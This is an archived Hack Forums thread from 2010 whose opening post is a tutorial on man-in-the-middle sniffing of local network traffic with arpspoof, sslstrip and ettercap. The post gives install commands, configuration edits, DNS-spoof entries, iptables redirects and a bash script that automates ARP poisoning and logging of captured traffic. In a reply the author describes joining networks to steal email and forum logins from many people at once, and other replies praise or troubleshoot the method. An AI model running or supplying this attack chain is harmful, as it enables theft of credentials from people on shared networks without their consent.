+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [Linux Tut]SSL sniffing on Ubuntu - SSL Strip/Arpspoof/Ettercap[Linux Tut] (/showthread.php?tid=328703)
Pages: Pages
1
2
[Linux Tut]SSL sniffing on Ubuntu - SSL Strip/Arpspoof/Ettercap[Linux Tut] - SilvaRizla - Mar 22, 2010
Now I will show you how to sniff SSL traffic on the local network using Arpspoof, ettercap, and SSL strip.
The Install
This will install arpspoof (part of dsniff) and ettercap:
sudo apt-get install ettercap
sudo apt-get install dsniff
Iinstalling sslstrip:
sudo wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz
tar -zxvf sslstrip-0.7.tar.gz
sudo mv sslstrip-0.7 sslstrip
sudo python setup.py build
sudo rm sslstrip-0.7.tar.gz
Configuring Ettercap
sudo nano /etc/etter.conf
Change the [Privs] section to uid 0
Code
[privs]
ec_uid = 0 # nobody is the default
ec_gid = 0 # nobody is the defaultUncomment the Linux IP tables lines:
Code
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"Configuring DNS spoofing
sudo nano /usr/share/ettercap/etter.dns
The basic usable syntax is <original IP> A <spoof ip> and wildcards can be used
So to spoof all traffic to google.com you should put this new line at the end of the file:
* A 209.85.227.105
Sniffing and spoofing
Before any sniffing can be done you need to echo a 1 into proc/sys/net/ipv4/ip_forward
sudo su
echo 1 > /proc/sys/net/ipv4/ip_forward
exit
Now you can sniff:
sudo arpspoof -i <network interface ie wlan0> <gateway/router ip>
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
sudo sslstrip -a -k -f
I choose to log my ettercap sessions but this is optional. If you chose to log you must make sure the specified directory exists. Here is the command for a standard sniff
sudo ettercap -T -q -i <network interface> -m "/home/path/to/log/" -P autoadd
Here is the command to dns spoof (remembering first to alter etter.dns to contain the site u wanna spoof to):
sudo ettercap -T -q -i <network interface> -m "home/path/to/log/" -P dns_spoof
Voila!
I find it a bit cumbersome using these tools in this way, so I wrote a script to do the hard work for me, which I thought I might as well share. Save it and mark it as executable.
Code
#!/bin/bash
echo -e "Please ensure \E[32m\033[1m'echo 1 > /proc/sys/net/ipv4/ip_forward'\E[37m\033[0m has been performed as root"
echo -e "If you plan to spoof change your IP in \E[32m\033[1m'/usr/share/ettercap/etter.dns'\E[37m\033[0m"
now=$(date +"%d-%b-%y")
netlog="$now Ettercap Log.txt"
echo -n "Please enter the router IP: "
read routerip
echo -n "Please enter interface name (eg: wlan0): "
read iface
echo -n "Would you like to dns spoof at this time? [y/n]"
read spoof
sudo xterm -geometry 75x15+1+300 -T "ARP Spoof" -e arpspoof -i $iface $routerip &
sleep 2
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000 &
echo "Routed IP Tables"
sudo xterm -geometry 75x15+500+300 -T "SSL Strip" -e sslstrip -a -k -f &
echo "SSL Strip Launched successfully"
sleep 2
if [ "$spoof" = "n" ]; then
sudo xterm -geometry 75x15+1000+300 -T Ettercap -e ettercap -T -q -i $iface -m "/home/path/to/log/$netlog" -P autoadd &
else
sudo xterm -geometry 75x15+1000+300 -T Ettercap -e ettercap -T -q -i $iface -m "/home/path/to/log/$netlog" -P dns_spoof &
fi
done* - SilvaRizla - Mar 22, 2010
ffs, this is gold. there is even a script to do it all for you. Bump.
* - Charity - Mar 23, 2010
Very good tutorial. You're very knowledgable in this area.
* - fubu1 - Mar 23, 2010
what have u personally used this for then
* - t0mpaine - Mar 23, 2010
Correct me if I'm wrong, but it appears this scripts poisons the whole network. Have you found this causing a DOS to those on your network? How many computers have you successfully used this on?
Also, it doesn't look like this re-arp's the network when you leave. Am I missing something?
Great tut. I've appreciated almost all of your posts & think this is a great contribution to this site.
* - ©@1cu1@te - Mar 23, 2010
good tut, but why would you need sodo to wget http://www.thoughtcrime.org/software/ssl...0.7.tar.gz?
* - SilvaRizla - Mar 23, 2010
Thanks for the input guys, glad to be of service
You might not need to sudo, I did this from memory and I'm fairly sure you do need to sudo.
@fubu1 - This is used to sniff the traffic of people on the network. It is called a man in the middle attack. Basically, traffic should go user-router-interwebs and back again but with this it goes user-attacker-router-interwebs and back again so most traffic can be read such as email and forum login credentials etc. I like to join a network and sit there stealing info.
@TP yes it poisons the whole network, I've had about 20 people at one time poisoned with no effect on speed, I don't know how much higher it can go.
* - GameOver* - Mar 23, 2010
nice tutorial dude! thanks for share!
* - chroniccommand - Mar 24, 2010
Pretty cool dude. Enjoyed reading it.
* - Big_Mike - Mar 24, 2010
you only need to Sudo if your not logged in as root
* - E[v]!L`` - Mar 24, 2010
I will try it on my ubuntu tomorow ^^
Thank for sharing .
* - Jboomerz - Apr 19, 2010
Having trouble downloading ssl strip it seems that it does not exist.
@ubuntu:~$ sudo wget http://www.thoughtcrime.org/software/ssl...0.7.tar.gz--2010-04-19 20:01:48-- http://www.thoughtcrime.org/software/ssl...0.7.tar.gz
Resolving www.thoughtcrime.org... 72.14.190.145
Connecting to www.thoughtcrime.org|72.14.190.145|:80... connected.
HTTP request sent, awaiting response... 404 <h1>404 Not Found</h1><p>Sorry, this file does not appear to exist. You can try finding it from <a href="http://www.thoughtcrime.org">http://www.thoughtcrime.org/</a> or sending me an email to harass me about what's wrong. <p>Sorry!
2010-04-19 20:01:48 ERROR 404: <h1>404 Not Found</h1><p>Sorry, this file does not appear to exist. You can try finding it from <a href="http://www.thoughtcrime.org">http://www.thoughtcrime.org/</a> or sending me an email to harass me about what's wrong. <p>Sorry!.
* - alg3rnon - May 4, 2010
not quite sure why this isn't working for me? i'm doing everything as follows, and yet i am seeing no passwords showing up, the sniffer just sits...?
and i logged in on my other comp to test and still nothing popped up
* - rm ./-foo - May 8, 2010
http://www.codeshock.org/forum/viewtopic.php?f=20&t=169&start=0
Leecher.
* - Snipesre - May 16, 2010
Bump
Great tut
too bad account was ....